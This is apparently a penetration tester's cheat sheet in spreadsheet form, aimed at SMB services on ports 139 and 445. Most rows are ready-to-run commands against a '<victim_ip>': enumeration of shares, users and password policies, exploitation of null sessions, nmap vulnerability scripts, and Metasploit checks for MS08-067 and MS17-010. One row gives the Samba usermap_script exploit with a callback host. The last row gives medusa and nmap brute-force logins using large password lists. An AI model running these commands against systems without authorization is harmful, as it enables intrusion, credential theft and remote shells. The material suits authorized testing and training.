SMB - 139/445					
Categories	**OS**	**Tool**	**Intent**	**Command**	**Comments**
139/445 - smb	Linux	nmblookup	Enumerate hostname	nmblookup -A <victim_ip>	
139/445 - smb	Linux	enum4linux	Enumerate hostname	enum4linux -n <victim_ip>	Versions Samba 2.2.x are red flag
139/445 - smb	Linux / Windows	nmap	Quick Enumeration	$ nmap --script=smb-enum* --script-args=unsafe=1 -T5 <victim_ip>	
139/445 - smb	Linux	smbver script	get version	smbver.sh <victim_ip>	Script used to get smb version if nmap fails
139/445 - smb	Linux	Metasploit	get version	Msfconsole;use scanner/smb/smb_version	metasploit modele to get smb version
139/445 - smb	Linux	ngrep	get version	ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' smbclient -L \\\\<victim_ip>	Manual method to get version if all else fails
139/445 - smb	linux / windows	wireshark	get version	#1:run Wireshark #2:smbmap -H <victim_ip> #3:follow the tcp stream of the smb	noted by 1kwstassak in reddit.com
139/445 - smb	linux	smbmap	get shares	smbmap -H <victim_ip> -R <sharename>	Recursively display files in specific share
139/445 – smb	linux	smbclient	get shares	echo exit | smbclient -L \\\\$ip	
139/445 - smb	linux	smbclient	get shares	smbclient \\\\<victim_ip>\\<share>	more details in cherrytree file (1. information gathering > Active > Enumeration > Services > 139.SMB)
139/445 – smb	linux	smbclient	get shares	smbclient -L //<victim_ip> -N	-N Force the tool to not ask for password
139/445 - smb	Linux / Windows	nmap	get shares	nmap --script smb-enum-shares -p139,445 -T4 -Pn <victim_ip>	
139/445 - smb	linux	smbclient	get shares	smbclient -L \\\\<victim_ip>\\	more details in cherrytree file (1. information gathering > Active > Enumeration > Services > 139.SMB)
139/445 - smb	linux	smbmap	Check Null Sessions	smbmap -H <victim_ip>	vulnerable version : Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default Most Samba (Unix) servers
139/445 – smb	linux	rpcclient	Check Null Sessions	rpcclient -U "" -N $ip	
139/445 – smb	linux	smbclient	Check Null Sessions	smbclient //<victim_ip>/IPC$ -N	Success #:/smb>
139/445 – smb	linux	enum	Exploit null Sessions	enum -s <victim_ip>	enumerate the shares of a machine
139/445 – smb	linux	enum	Exploit null Sessions	enum -U <victim_ip>	-U enumerate usersA133:AMJ133
139/445 – smb	linux	enum	Exploit null Sessions	enum -P <victim_ip>	-P check the password policy

139/445 – smb	linux	enum4linux	Exploit null Sessions	enum4linux -a <victim_ip>	enum4linux -a (use all enum switches useres/shares/password policies)
139/445 – smb	linux	samrdump.py	Exploit null Sessions	using /usr/share/doc/python3-impacket/examples/samrdump.py #./samrdump.py <victim_ip>	
139/445 - smb	linux	smbclient	connect to Username shares	$ smbclient //$ip/share -U username	this step required u have a cred
139/445 - smb	linux	smbclient	connect to share Anonymously	smbclient \\\\<victim_ip>\\<share>	more details in cherrytree file (1. information gathering > Active > Enumeration > Services > 139.SMB) Example : smbclient \\\\<victim_ip>\\IPC$
139/445 - smb	linux	smbclient	connect to share Anonymously	smbclient //<victim_ip>/<share>	
139/445 - smb	linux	smbclient	connect to share Anonymously	smbclient //<victim_ip>/<share\ name> smbclient //<victim_ip>/<"share name">	If share has a space inbetween its name (eg. "My Shares")
139/445 - smb	linux	rpcclient	connect to share Anonymously	rpcclient -U " " <victim_ip>	Connect to null share which is the IPC$ share, enumerate with specifc commands, refer to onenote
139/445 - smb	linux	rpcclient	connect to share Anonymously	rpcclient -U " " -N <victim_ip>	Connect to null share which is the IPC$ share, enumerate with specifc commands, refer to onenote
139/445 – smb	linux / Windows	nmap	check vuln	nmap --script smb-vuln* -p139,445 -T4 -Pn <victim_ip>	
139/445 – smb	Linux / Windows	Metasploit	check common security concerns	#msf> resource smb_checks.rc Or # msfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_checks.rc	# This resource scripts will check common security concerns on SMB for Windows. # Specifically, this script will check for these things: # # * MS08-067. # * MS17-010. # * SMB version 1. #
139/445 – smb	Linux / Windows	Metasploit	extra validation	#msf> resource smb_validate.rc Or # msfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_validate.rc	after running the previous check
139/445 – smb	Linux / Windows	Metasploit	multi exploits	msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost $ip; run	
139/445 – smb	linux	nmap/medusa	Brute Force login	after enumerating users u can brute force login #medusa -h <victim_ip> -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt #nmap -p445 --script smb-brute --script-args userdb=userfilehere, passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt <victim_ip> -vvvv #nmap –script smb-brute <victim_ip>	